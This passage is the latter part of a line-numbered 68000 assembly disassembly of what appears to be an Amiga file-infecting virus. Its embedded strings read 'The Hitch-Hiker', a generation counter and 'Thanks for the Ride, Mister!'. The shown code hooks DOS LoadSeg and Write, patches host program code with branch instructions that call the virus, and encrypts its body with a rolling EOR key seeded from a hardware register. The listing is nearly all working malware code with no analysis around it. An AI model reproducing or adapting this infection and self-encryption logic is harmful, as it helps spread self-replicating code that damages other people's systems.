  550.     LEA    8(A1),A4        ;5BE: 49E90008
  551.     MOVE.L    A4,D7            ;5C2: 2E0C
  552.     SUB.L    D5,D4            ;5C4: 9885
  553.     ADD.L    D4,D7            ;5C6: DE84
  554.     MOVE.L    D4,D3            ;5C8: 2604
  555. LAB_0042:
  556.     LSR.L    #1,D3            ;5CA: E28B
  557. LAB_0043:
  558.     MOVEQ    #-2,D0            ;5CC: 70FE
  559.     MOVE    LAB_0064+2(PC),D5    ;5CE: 3A3A01A6
  560.     BEQ.S    LAB_0044        ;5D2: 6702
  561.     ADDQ.L    #1,A4            ;5D4: 528C
  562. LAB_0044:
  563.     CMPI.L    #$2C780004,(A4)        ;5D6: 0C942C780004
  564.     BEQ.S    LAB_0047        ;5DC: 672E
  565.     CMPI.L    #$2C790000,(A4)        ;5DE: 0C942C790000
  566.     BEQ.S    LAB_0049        ;5E4: 6738
  567.     CMPI    #$4E75,(A4)        ;5E6: 0C544E75
  568.     BEQ.S    LAB_0046        ;5EA: 670A
  569. LAB_0045:
  570.     ADDQ.L    #2,A4            ;5EC: 548C
  571.     DBF    D3,LAB_0044        ;5EE: 51CBFFE6
  572.     TST.L    D0            ;5F2: 4A80
  573.     RTS                ;5F4: 4E75
  574. LAB_0046:
  575.     BSR.S    LAB_004A        ;5F6: 6142
  576.     CMP.L    #$0000006F,D5        ;5F8: BABC0000006F
  577.     BCC.S    LAB_0045        ;5FE: 64EC
  578.     ADDI    #$0010,D5        ;600: 06450010
  579.     MOVE.B    #$60,(A4)+        ;604: 18FC0060
  580.     MOVE.B    D5,(A4)+        ;608: 18C5
  581.     BRA.S    LAB_0048        ;60A: 600C
  582. LAB_0047:
  583.     BSR.S    LAB_004A        ;60C: 612C
  584.     CMP.L    #$00007FFF,D5        ;60E: BABC00007FFF
  585.     BCC.S    LAB_0045        ;614: 64D6
  586.     BSR.S    LAB_004B        ;616: 612E
  587. LAB_0048:
  588.     CLR.L    D0            ;618: 4280
  589.     SUBQ.L    #1,D3            ;61A: 5383
  590.     BRA.S    LAB_0045        ;61C: 60CE
  591. LAB_0049:
  592.     CMPI    #$0004,4(A4)        ;61E: 0C6C00040004
  593.     BNE.S    LAB_0045        ;624: 66C6
  594.     BSR.S    LAB_004A        ;626: 6112
  595.     CMP.L    #$00007FFF,D5        ;628: BABC00007FFF
  596.     BCC.S    LAB_0045        ;62E: 64BC
  597.     BSR.S    LAB_004B        ;630: 6114
  598.     MOVE    #$4E71,2(A4)        ;632: 397C4E710002
  599.     BRA.S    LAB_0048        ;638: 60DE
  600. LAB_004A:
  601.     LEA    2(A4),A3        ;63A: 47EC0002
  602.     MOVE.L    A3,D6            ;63E: 2C0B
  603.     MOVE.L    D7,D5            ;640: 2A07
  604.     SUB.L    D6,D5            ;642: 9A86
  605.     RTS                ;644: 4E75
  606. LAB_004B:
  607.     MOVE    #$6100,(A4)+        ;646: 38FC6100
  608.     MOVE    D5,(A4)            ;64A: 3885
  609.     RTS                ;64C: 4E75
  610. LAB_004C:
  611.     MOVE.L    LAB_005D(PC),D7        ;64E: 2E3A0110
  612.     LSR.L    #2,D7            ;652: E48F
  613.     MOVE.L    -4(A1),D5        ;654: 2A29FFFC
  614. LAB_004D:
  615.     MOVE.L    (A2)+,D6        ;658: 2C1A
  616.     CMPA.L    A1,A2            ;65A: B5C9
  617.     BEQ.S    LAB_004F        ;65C: 6710
  618.     ANDI.L    #$1FFFFFFF,D6        ;65E: 02861FFFFFFF
  619.     CMP.L    D5,D6            ;664: BC85
  620.     BEQ.S    LAB_004E        ;666: 6702
  621.     BRA.S    LAB_004D        ;668: 60EE
  622. LAB_004E:
  623.     ADD.L    D7,-4(A2)        ;66A: DFAAFFFC
  624. LAB_004F:
  625.     ADD.L    D7,-4(A1)        ;66E: DFA9FFFC
  626.     RTS                ;672: 4E75
  627. LAB_0050:
  628.     CLR.L    D0            ;674: 4280
  629. LAB_0051:
  630.     MOVE.B    EXT_0001,D0        ;676: 103900DFF007
  631.     BEQ.S    LAB_0051        ;67C: 67F8
  632.     MOVE.L    D0,D5            ;67E: 2A00
  633.     ANDI.L    #$0000000F,D0        ;680: 02800000000F
  634.     ASL.L    #2,D0            ;686: E580
  635.     RTS                ;688: 4E75
  636. LAB_0052:
  637.     LEA    LAB_0005(PC),A1        ;68A: 43FAF9C0
  638.     LEA    LAB_0069(PC),A2        ;68E: 45FA00F4
  639.     LEA    LAB_005D(PC),A3        ;692: 47FA00CC
  640.     LEA    LAB_005C(PC),A4        ;696: 49FA00C4
  641.     LEA    LAB_000D(PC),A5        ;69A: 4BFAF9F2
  642.     BSR.S    LAB_0050        ;69E: 61D4
  643.     LEA    LAB_0007+1(PC),A0    ;6A0: 41FAF9CD
  644.     MOVE.B    D5,(A0)            ;6A4: 1085
  645.     MOVE.L    A2,D2            ;6A6: 240A
  646.     MOVE.L    D2,D4            ;6A8: 2802
  647.     SUB.L    A1,D2            ;6AA: 9489
  648.     MOVE.L    D2,D3            ;6AC: 2602
  649.     ADD.L    D3,D4            ;6AE: D883
  650.     MOVE.L    D4,(A4)            ;6B0: 2884
  651.     ADD.L    D0,D3            ;6B2: D680
  652.     MOVE.L    D3,(A3)            ;6B4: 2683
  653.     SUBQ.L    #1,D2            ;6B6: 5382
  654.     MOVE.L    D2,D3            ;6B8: 2602
  655.     SUBA.L    A1,A5            ;6BA: 9BC9
  656.     SUB.L    A5,D3            ;6BC: 968D
  657.     ADDA.L    A2,A5            ;6BE: DBCA
  658.     LEA    LAB_0009+2(PC),A3    ;6C0: 47FAF9B0
  659.     MOVE    D3,(A3)            ;6C4: 3683
  660.     MOVE.L    D5,D4            ;6C6: 2805
  661.     ANDI.L    #$00000007,D4        ;6C8: 028400000007
  662.     LEA    LAB_000A+1(PC),A0    ;6CE: 41FAF9A5
  663.     MOVE.B    D4,(A0)            ;6D2: 1084
  664. LAB_0053:
  665.     MOVE.B    (A1)+,(A2)+        ;6D4: 14D9
  666.     DBF    D2,LAB_0053        ;6D6: 51CAFFFC
  667. LAB_0054:
  668.     EOR.B    D5,(A5)+        ;6DA: BB1D
  669.     SUB.B    D4,D5            ;6DC: 9A04
  670.     DBF    D3,LAB_0054        ;6DE: 51CBFFFA
  671. LAB_0055:
  672.     CLR.B    (A5)+            ;6E2: 421D
  673.     DBF    D0,LAB_0055        ;6E4: 51C8FFFC
  674.     RTS                ;6E8: 4E75
  675. LAB_0056:
  676.     DC.W    $646F            ;6EA
  677.     DC.W    $732E            ;6EC
  678.     DC.W    $6C69            ;6EE
  679.     BHI.S    LAB_005E        ;6F0: 6272
  680.     BSR.S    LAB_005E+2        ;6F2: 6172
  681.     DC.W    $7900            ;6F4
  682.     DC.W    $0A0A            ;6F6
  683.     ADDQ    #2,25888(A0)        ;6F8: 54686520
  684.     PEA    29795(A1)        ;6FC: 48697463
  685.     DC.W    $682D            ;700
  686.     PEA    27493(A1)        ;702: 48696B65
  687.     MOVEQ    #10,D1            ;706: 720A
  688.     DC.W    $4765            ;708
  689.     DC.W    $6E65            ;70A
  690.     MOVEQ    #97,D1            ;70C: 7261
  691.     MOVEQ    #105,D2            ;70E: 7469
  692.     BLE.S    LAB_0068        ;710: 6F6E
  693.     MOVE    -(A0),D5        ;712: 3A20
  694. LAB_0057:
  695.     MOVE    48(A0,D3.W),D0        ;714: 30303030
  696.     DC.W    $3031            ;718
  697.     DC.W    $3235            ;71A
  698.     DC.W    $0A2D            ;71C
  699.     MOVEA.L    (A6),A0            ;71E: 2056
  700.     BCS.S    LAB_006A        ;720: 6572
  701.     DC.W    $7369            ;722
  702.     BLE.S    LAB_006A        ;724: 6F6E
  703.     DC.W    $2032            ;726
  704.     DC.W    $2E30            ;728
  705.     MOVE    A2,-(A0)        ;72A: 310A
  706.     DC.W    $0A0A            ;72C
  707.     ADDQ    #2,24942(A0)        ;72E: 5468616E
  708.     DC.W    $6B73            ;732
  709.     MOVEA.L    -(A6),A0        ;734: 2066
  710.     DC.W    $6F72            ;736
  711.     DC.W    $2074            ;738
  712.     DC.W    $6865            ;73A
  713.     MOVEA.L    (A2),A0            ;73C: 2052
  714.     BVS.S    LAB_006B        ;73E: 6964
  715.     BCS.S    LAB_0061+2        ;740: 652C
  716.     MOVEA.L    A5,A0            ;742: 204D
  717.     DC.W    $6973            ;744
  718.     MOVEQ    #101,D2            ;746: 7465
  719.     MOVEQ    #33,D1            ;748: 7221
  720.     MOVE.L    A2,-(A0)        ;74A: 210A
  721. LAB_0058:
  722.     ORI.B    #$00,D0            ;74C: 00000000
  723. LAB_0059:
  724.     ORI.B    #$00,D0            ;750: 00000000        original LoadSeg
  725. LAB_005A:
  726.     ORI.B    #$00,D0            ;754: 00000000        original write
  727. LAB_005B:
  728.     ORI.B    #$00,D0            ;758: 00000000
  729. LAB_005C:
  730.     DC.W    $0003            ;75C
  731.     SNE    (A0)+            ;75E: 56D8
  732. LAB_005D:
  733.     DC.W    $0000            ;760
  734.     BCHG    D3,(A4)+        ;762: 075C
  735. LAB_005E:
  736.     ORI.B    #$00,D0            ;764: 00000000
  737. LAB_0060:
  738.     ORI.B    #$00,D0            ;768: 00000000
  739. LAB_0061:
  740.     ORI.B    #$00,D0            ;76C: 00000000
  741. LAB_0063:
  742.     ORI.B    #$00,D0            ;770: 00000000
  743. LAB_0064:
  744.     ORI.B    #$00,D0            ;774: 00000000
  745. LAB_0066:
  746.     ORI.B    #$00,D0            ;778: 00000000
  747. LAB_0067:
  748.     ORI.B    #$00,D0            ;77C: 00000000
  749. LAB_0068:
  750.     ORI.B    #$00,D0            ;780: 00000000
  751. LAB_0069:
  752.     DC.W    $0000            ;784
  753.     DC.W    $038C            ;786
  754.     DC.W    $FFFF            ;788
  755.     DC.W    $FFFD            ;78A
  756.     DC.W    $636C            ;78C
  757.     DC.W    $7300            ;78E
  758.     ORI.B    #$00,D0            ;790: 00000000
  759. LAB_006A:
  760.     ORI.B    #$00,D0            ;794: 00000000
  761.     ORI.B    #$00,D0            ;798: 00000000
  762.     ORI.B    #$00,D0            ;79C: 00000000
  763.     ORI.B    #$00,D0            ;7A0: 00000000
  764. LAB_006B:
  765.     ORI.B    #$00,D0            ;7A4: 00000000
  766.     END
  767.